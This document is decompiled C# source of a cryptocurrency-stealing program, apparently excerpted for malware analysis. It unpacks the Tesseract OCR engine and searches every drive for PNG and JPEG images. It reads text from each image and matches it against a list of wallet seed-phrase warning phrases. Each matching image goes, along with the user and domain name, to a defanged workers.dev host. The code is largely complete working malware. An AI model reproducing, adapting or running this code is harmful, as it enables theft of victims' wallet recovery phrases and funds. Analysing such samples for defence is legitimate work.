1public class App
 2{
 3	// Token: 0x06000001 RID: 1 RVA: 0x00002048 File Offset: 0x00000248
 4	public static void Main()
 5	{
 6		string text = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString());
 7		string text2 = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString());
 8		Directory.CreateDirectory(Path.Combine(text2, "x64"));
 9		Directory.CreateDirectory(text);
10		File.WriteAllBytes(Path.Combine(text2, "x64", "leptonica-1.82.0.dll"), App.GetResource("leptonica-1.82.0.dll"));
11		File.WriteAllBytes(Path.Combine(text2, "x64", "tesseract50.dll"), App.GetResource("tesseract50.dll"));
12		File.WriteAllBytes(Path.Combine(text, "eng.traineddata"), App.GetResource("eng.traineddata"));
13		File.WriteAllBytes(Path.Combine(text, "pdf.ttf"), App.GetResource("pdf.ttf"));
14		Environment.CurrentDirectory = text2;
15		List<Task> list = new List<Task>();
16		using (TesseractEngine tesseractEngine = new TesseractEngine(text, "eng", EngineMode.Default))
17		{
18			[SNIP]
19
20// Token: 0x06000005 RID: 5 RVA: 0x00002414 File Offset: 0x00000614
21private static byte[] GetResource(string filename)
22{
23	Assembly executingAssembly = Assembly.GetExecutingAssembly();
24	string text = executingAssembly.GetManifestResourceNames().Single((string str) => str.EndsWith(filename));
25	byte[] array;
26	using (Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(text))
27	{
28		using (MemoryStream memoryStream = new MemoryStream())
29		{
30			manifestResourceStream.CopyTo(memoryStream);
31			array = memoryStream.ToArray();
32		}
33	}
34	return array;
35}

 1using (TesseractEngine tesseractEngine = new TesseractEngine(text, "eng", EngineMode.Default))
 2{
 3	foreach (DriveInfo driveInfo in DriveInfo.GetDrives())
 4	{
 5		try
 6		{
 7			List<string> images = new List<string>();
 8			App.GetFiles(driveInfo.RootDirectory.FullName, delegate(string x)
 9			{
10				if (App.IsImage(x))
11				{
12					images.Add(x);
13				}
14			});
15			foreach (string text3 in images)
16			{
17				try
18				{
19					string text4;
20					using (Pix pix = Pix.LoadFromFile(text3))
21					{
22						using (Page page = tesseractEngine.Process(pix, null))
23						{
24							text4 = page.GetText().ToLower();
25						}
26					}
27					int num = App.wordlist2.Length;
28					for (int j = 0; j < num; j++)
29					{
30						if (!text3.Contains("editor") && text4.Contains(App.wordlist2[j]))
31						{
32							list.Add(App.UploadFile(text3));
33						}
34					}
35				}
36				catch (Exception)
37				{
38				}
39			}
40		}
41		catch (Exception)
42		{
43		}
44	}
45}

1// Token: 0x06000002 RID: 2 RVA: 0x0000230C File Offset: 0x0000050C
2private static bool IsImage(string name)
3{
4    return name.EndsWith(".png", StringComparison.OrdinalIgnoreCase) || name.EndsWith(".jpg", StringComparison.OrdinalIgnoreCase) || name.EndsWith(".jpeg", StringComparison.OrdinalIgnoreCase);
5}

1// Token: 0x04000001 RID: 1
2private static string[] wordlist2 = new string[]
3{
4	"if you have any problem with scanning the qr", "enable google authentication", "write down each word", "write down your secret phrase", "do not create a digital copy such as a screenshot", "write down or copy these words", "do not share your phrase to anyone", "you will be shown a secret phrase on the next screen", "your wallet generation seed is", "please save these 12 words",
5	"write down this 12-word secret recovery", "Please write down the following words and keep them in a secure place", "Warning: Do not share these words with anyone. If lost, you might lose your funds", "Ensure you write these words in their order and store them offline", "These words are the key to recovering your wallet. Do not lose them", "If you lose access to your wallet, these words can be used for its recovery", "Do not store these words on your device or in an email. Use a piece of paper to note them down and keep it in a safe place", "Your seed phrase is the only way to restore your funds. Keep it private", "Never enter your seed phrase into any website or software you don't trust", "Avoid storing your seed phrase electronically to minimize hacking risks",
6	"If someone gets access to your seed phrase, they have access to your funds", "Always double-check and verify your seed words before finalizing", "Lost seed phrases cannot be recovered by us or anyone else", "For added security, consider storing multiple physical copies of your seed phrase in different locations", "Never disclose your seed phrase, even to support or staff members", "Do a regular check to ensure you still have access to your seed phrase", "Using a passphrase in conjunction with your seed phrase can provide an extra layer of security", "Remember, your funds are as safe as your ability to keep your seed phrase secure", "It's your responsibility to ensure the confidentiality of your seed phrase"
7};

 1// Token: 0x06000004 RID: 4 RVA: 0x000023D0 File Offset: 0x000005D0
 2private static async Task<bool> UploadFile(string filename)
 3{
 4	try
 5	{
 6		string tempPath = Path.GetTempPath();
 7		string text = "Fotos";
 8		string text2 = Path.Combine(tempPath, text);
 9		if (!Directory.Exists(text2))
10		{
11			Directory.CreateDirectory(text2);
12		}
13		using (MultipartFormDataContent form = new MultipartFormDataContent())
14		{
15			form.Add(new StringContent("7b5ebd3d9e4d49d48cde63bab0a109d8"), "id");
16			form.Add(new StringContent("Text"), "app");
17			string text3 = Environment.UserName + " " + Environment.UserDomainName;
18			form.Add(new StringContent(text3), "user");
19			form.Add(new StringContent("fares"), "body");
20			form.Add(new ByteArrayContent(File.ReadAllBytes(filename)), Guid.NewGuid().ToString(), Path.GetFileName(filename));
21			using (HttpClient httpClient = new HttpClient())
22			{
23				HttpResponseMessage httpResponseMessage = await httpClient.PostAsync("hxxps://22.rooz2024[.]workers[.]dev", form);
24				httpResponseMessage.EnsureSuccessStatusCode();
25				TaskAwaiter<string> taskAwaiter = httpResponseMessage.Content.ReadAsStringAsync().GetAwaiter();
26				if (!taskAwaiter.IsCompleted)
27				{
28					await taskAwaiter;
29					TaskAwaiter<string> taskAwaiter2;
30					taskAwaiter = taskAwaiter2;
31					taskAwaiter2 = default(TaskAwaiter<string>);
32				}
33				if (taskAwaiter.GetResult() == "OK")
34				{
35					return true;
36				}
37			}
38			HttpClient httpClient = null;
39		}
40		MultipartFormDataContent form = null;
41	}
42	catch (Exception)
43	{
44	}
45	return false;
46}